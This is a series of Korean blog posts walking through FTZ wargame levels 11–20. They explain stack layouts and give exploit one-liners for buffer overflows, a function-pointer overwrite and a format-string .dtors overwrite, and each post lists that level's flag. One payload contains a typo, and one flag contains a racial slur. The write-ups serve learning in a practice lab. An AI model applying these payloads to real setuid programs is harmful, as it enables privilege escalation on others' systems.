http://proneer.tistory.com/entry/FormatString-%ED%8F%AC%EB%A7%B7%EC%8A%A4%ED%8A%B8%EB%A7%81Format-String-Attack


이곳을 참조해서 공부하였습니당



마지막문제이다. bleh라는 배열을 80바이트 선언해주고 있다. 또한 79바이트 이하로만 입력받고 있다.

bof를 시도해봤지만 bof도 통하지 않는다. 이 문제를 풀려면 "포멧스트링버그"를 이용해서 풀어야 한다.

설명은 생략하고 위의 문서를 첨부하였다.

dtors를 구하고, 08049594+4에 쉘코드를 넣으면 된다.

또한 쉘코드 주소를 2바이트씩 나눠 10진수로 저장한다

>>> 0xfdda-8

64978

>>> 0xbfff - 0xfdda

-15835

>>> 0x1bfff-0xfdda

49701

(python -c 'print "\x98\x95\x04\x08\x9a\x95\x04\x08%64978x%4$hn%49701x%5$hn"' ; cat) | ./attackme

Flag : i will come in a minute

'IT > FTZ' 카테고리의 다른 글

[FTZ] level19  (0) 2016.07.10
[FTZ] level18  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10

코드가 level18에 비해 휑하다

코드가 휑하다 못해 setreuid나 /bin/sh가사라졌다.

그래서 직접 문서를 보며 쉘코드를 만들거나 41바이트 쉘코드를 사용해야 한다.

이렇게 환경변수에 등록 후 넉넉히 넣어주면 오버플로우가 된다.




Flag : we are just regular guys

'IT > FTZ' 카테고리의 다른 글

[FTZ] level20  (0) 2016.07.10
[FTZ] level18  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10


코드가 엄청나게 길다.

문제를 보면 string에 값을 넣고, check와 deadbeef가 같다면 shellout 함수를 실행시킬수 있다.

하지만 스택구조상으로는 string으로 check를 건들수는 없다

왜냐하면 스택에는 string배열 먼저 쌓이고, 그 위에 check가 쌓이게 된다

- - - - | check | stirng | sfp | ret |

로 쌓이게 된다.

하지만 코트를 자세히 보면 0x08일때 count가 --된다. 그렇다면 4번 0x08일때는 stirng[-4] 인 즉 check의 주소가 된다.

그러므로 이렇게 할 수있다.

Flag : swimming in pink

'IT > FTZ' 카테고리의 다른 글

[FTZ] level20  (0) 2016.07.10
[FTZ] level19  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10

코드를 보면 shell 함수가 빠지고 setreuid가 main 안으로 이동했다.

또한 /bin/sh가 빠졌으므로 직접 쉘코드를 메모리에 넣어야 한다.    

전 문제들과 같은 방법을 사용해 환경변수를 이용해서 넣어주면 된다.


Flag : why did you do it


'IT > FTZ' 카테고리의 다른 글

[FTZ] level19  (0) 2016.07.10
[FTZ] level18  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10

코드를 보니 함수와 함수 포인터가 사용되었다.

스택의 구조를 한번 그려보면

| buf(20) | dummy() | void(*call)()=printit | dummy() | crap(4) |

과 같은 구조일 것이다.

따라서 우리는 objdump를 이용해 shell의 함수주소값을 알아낸 후 level15와 같게 거리가 40이므로 아래와 같이 익스플로잇을 짤 수 있다.


Flag : king poetic

'IT > FTZ' 카테고리의 다른 글

[FTZ] level18  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10
[FTZ] level13  (0) 2016.07.10


코드를 보니 level14와는 달리 *check로 변했다.

버퍼의 시작주소부터 check까지의 거리를 구해야하는데,

소스코드를 복사해서 주소값을 알아내는 코드를 짰다.

거리는 40바이트라고 한다.


이제 attackme를 까서 0xdeadbeef의 위치를 찾았더니 

0x80484b2에 있었다.

따라서 버퍼부터 40만큼 채워준후 deadbeef가 있는 주소값을 넣어준다.


사진에는 짤렸지만, 익스플로잇은 (python -c 'print "A"*40+"\xb2\x84\x04]x08"';cat) | ./attackme 이다.


Flag : about to cause mass

'IT > FTZ' 카테고리의 다른 글

[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10
[FTZ] level13  (0) 2016.07.10
[FTZ] level12  (0) 2016.07.10

crap과 check라는 4바이트짜리 변수가 생겼다

구조는

| buf(20) | dummy() | crap(4) | dummy() | check(4) |

이번문제는 간단하게 check부분이 0xdeadbeef로 덮어지면 되는 문제이다.

따라서 dummy부분이 어느정도인지 모르니 

채워지게 넉넉잡아 4*15=60바이트 정도 채웠다. 

Flag : guess waht

'IT > FTZ' 카테고리의 다른 글

[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10
[FTZ] level13  (0) 2016.07.10
[FTZ] level12  (0) 2016.07.10
[FTZ] level11  (0) 2016.07.10


힌트를 까서 소스코드를 보면 기존의 11번,12번과는 달리 i라는 것이 새로 생기고

i가 0x1234567이 아닐시 Warnning: Buffer Overflow!!! 를 출력하며 kill로 sigsegv을 전달한다.

따라서 i에는 0x1234567을 넣어줘야한다.

gdb로 까보니 1048바이트이다. 그냥 모든 버퍼를 0x1234567로 채워버리고, 뒤에 쉘코드 주소를 넣어주면 된다.

| buf(1024) | dummy(12) | i(4) | dummy(8) | ebp(4) | ret(4) | 

이러한 스택구조를 이루고 있으므로 

4 * 262 = 1048

./attackme `python -c 'print [buf]*262+[ebp(A)]*4+ret'`

이러한 형식이고,

./attackme `python -c 'print "\x67\x45\x23\x01"*263+"\xf4\xfb\xff\xbf"'`

이렇게 짤 수 있다.

Flag : what that nigga want?

'IT > FTZ' 카테고리의 다른 글

[FTZ] level15  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10
[FTZ] level12  (0) 2016.07.10
[FTZ] level11  (0) 2016.07.10
[FTZ] level10  (0) 2016.07.10

이번에도 bof문제이다 힌트를 까보면 이런식의 코드가 나온다.

gdb로 attackme를 까보면, 이번에도 마찬가지로 버퍼크기는 같은것을 볼수 있다.

따라서 level11과 같은 방식으로 해결 할 수 있다.

환경변수를 등록하고, NOP슬라이드 방식으로 익스플로잇을 짠다.


level11과는 다르게 인자값으로 받는것이 아니라 프로그램에서 직접 값을 받는 것이기 때문에 이런 형식으로 짠다.


Flag : have no clue

'IT > FTZ' 카테고리의 다른 글

[FTZ] level14  (0) 2016.07.10
[FTZ] level13  (0) 2016.07.10
[FTZ] level11  (0) 2016.07.10
[FTZ] level10  (0) 2016.07.10
[FTZ] level9  (0) 2016.07.10

힌트를 까보면 코드 하나가 나온다. bof를 해야하는 문제이다.

attackme를 gdb로 까보면 이런구조인것을 알수 있다.

| str[256] | dummy[8] | ebp[4] | ret[4] |

간편하게 환경변수를 이용해서 풀려고 한다. 

따라서 환경변수 SHELLCODE의 주소값과 NOP슬라이드 방식을 사용해 쉘을 따낸다.   

FLAG : it is like this

'IT > FTZ' 카테고리의 다른 글

[FTZ] level13  (0) 2016.07.10
[FTZ] level12  (0) 2016.07.10
[FTZ] level10  (0) 2016.07.10
[FTZ] level9  (0) 2016.07.10
[FTZ] level8  (0) 2016.07.10

+ Recent posts